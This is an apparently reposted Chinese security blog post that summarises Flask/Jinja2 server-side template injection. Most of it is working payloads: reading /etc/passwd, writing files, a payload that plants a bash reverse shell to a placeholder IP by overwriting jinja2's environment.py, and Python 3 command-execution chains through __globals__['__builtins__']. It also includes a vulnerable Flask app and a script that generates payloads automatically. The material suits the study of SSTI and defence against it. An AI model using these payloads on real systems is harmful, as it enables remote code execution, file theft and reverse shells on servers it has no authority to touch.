Flask jinja2模板注入思路总结
Posted 聚锋实验室
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Flask jinja2模板注入思路总结相关的知识,希望对你有一定的参考价值。
前言
虽然这个漏洞已经出现很久了,不过偶尔还是能够看到。翻了翻freebuf上好像只有python2的一些payload,方法也不是很全。我找来找去也走了些弯路,小白们可以参考一下。如果有什么错误,欢迎各位指正。
漏洞简介
漏洞原理可以参考
http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html
常见payload
ssti可以用于xss,不过这里不具体介绍; 前面两篇文章给出了几个比较常用的getshell的payload; 我会总结并补充一些。
python2:
#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html#读文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}#写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
python3:
#命令执行:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}#文件操作{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
Go Deeper
环境
这里给出的是vulhub的flask ssti漏洞环境 方便复现
#python3#Flask version:0.12.2#Jinja2: 2.10from flask import Flask, requestfrom jinja2 import Template
app = Flask(__name__)@app.route("/")def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name) return t.render()if __name__ == "__main__":
app.run();
__globals__
其实这些payload的思路大概都是一样的,从python的内置变量出发,通过调用各类型的一些隐藏属性(方法),从而得到我们需要的函数。
其中有一个属性 globals 很有意思,文档里这样解释:
__globals__:
A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.
[Read-only]
也就是说所有的函数都会有一个__globals__属性,它会以一个dict,返回函数所在模块命名空间中的所有变量。 举个例子:
outFuncVar = 2def func():
inFuncVar = 1
passprint(func)
print(func.__globals__)import os
print(func.__globals__)
这段代码输出
<function func at 0x000001A0B8777F28>
{'outFuncVar': 2, , '__builtins__': <module 'builtins' (built-in)>}
{'outFuncVar': 2, , 'os': <module 'os' from 'F:\\Python\\lib\\os.py'>, '__builtins__': <module 'builtins' (built-in)>}
可以看到__globals__中会包括引入了的modules;同时每个python脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等。
>>> def test():
pass>>> test.__globals__['__builtins__']
<module 'builtins' (built-in)>>>> test.__globals__['__builtins__'].eval
<built-in function eval>>>> test.__globals__['__builtins__'].exec<built-in function exec>>>> test.__globals__['__builtins__'].open
<built-in function open>
所以要从内置变量出发找到一个可以达成payload的函数(eval, exec..),只需要随便从一个内置变量调用隐藏属性,找到任意一个函数,然后查看它的__globals__['__builtins __']就可以了,而这个是非常容易的。
start to find a payload
我们都知道python的类有被称为Special method names的方法,这些方法会在特定的时候被调用。而开发者可以通过重载这些函数实现各种简洁又强大的功能。例如class.__init __ 会在一个实例被new()创建的时候自动调用,从而起到构造函数的作用。
而我们的目标只是找到任意一个函数,所以我们只需要去找这些函数就可以了,比如说从字符串开始
#python3#__class__返回调用的参数类型#__base__返回基类#__mro__寻找基类时参考类#__sublclasses__()返回子类#获得 object 类的子类>>> ''.__class__.__base__.__subclasses__()
[<class 'str_iterator'>, <class 'mappingproxy'>, <class 'idlelib.AutoComplete.AutoComplete'>, <class 'pydoc.ModuleScanner'>, <class 'contextlib.ContextDecorator'>, <class 'textwrap.TextWrapper'>, <class 'socketserver.ThreadingMixIn'>, <class '_tkinter.tktimertoken'>, ...]#从中随便选一个类,查看它的__init__>>> ''.__class__.__base__.__subclasses__()[30].__init__<slot wrapper '__init__' of 'object' objects># wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性>>> ''.__class__.__base__.__subclasses__()[30].__init__.__globals__Traceback (most recent call last):
File "<pyshell#8>", line 1, in <module>
''.__class__.__base__.__subclasses__()[30].__init__.__globals__AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'#再换几个子类,很快就能找到一个重载过__init__的类,比如>>> ''.__class__.__base__.__subclasses__()[5].__init__<function TarFile.__init__ at 0x0000019D685A8158>>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
<built-in function eval>#然后用eval执行命令即可
其中寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload
#!/usr/bin/python3# coding=utf-8# python 3.5from flask import Flaskfrom jinja2 import Template# Some of special namessearchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1:
print(i.__name__,":", attr, goal) else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
output
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}...
随便选一个payload填上命令
#Client requesthttp://127.0.0.1:5000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("print('hello shell')") }}{% endif %}{% endfor %}#server terminal#成功打印出 hello shell, 说明成功执行hello shell127.0.0.1 - - [10/Feb/2018 02:41:48] "GET /?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27ImmutableDictMixin%27%20%}{{%20c.__hash__.__globals__[%27__builtins__%27].eval(%22print(%27hello%20shell%27)%22)%20}}{%%20endif%20%}{%%20endfor%20%} HTTP/1.1" 200 -
当然这种方法不仅仅适合python3, python2也可以用这个方法,上面那个payload就是两个版本都可以使用的。
总结
利用flask的ssti漏洞,可以通过python的内置变量得到功能强大的built-in functions, 从而执行各种命令。而python函数自带的__globals__属性使得寻找built-in functions的过程变得更加简单,不受版本约束。
文章转自FreeBuf.com
以上是关于Flask jinja2模板注入思路总结的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])
XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])
XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])
漏洞分析Flask框架(jinja2)&服务端模板注入漏洞(SSTI)
XCTF-攻防世界CTF平台-Web类——12Web_python_template_injection(SSTI服务器模板注入Flask框架之Jinja2模板渲染引擎)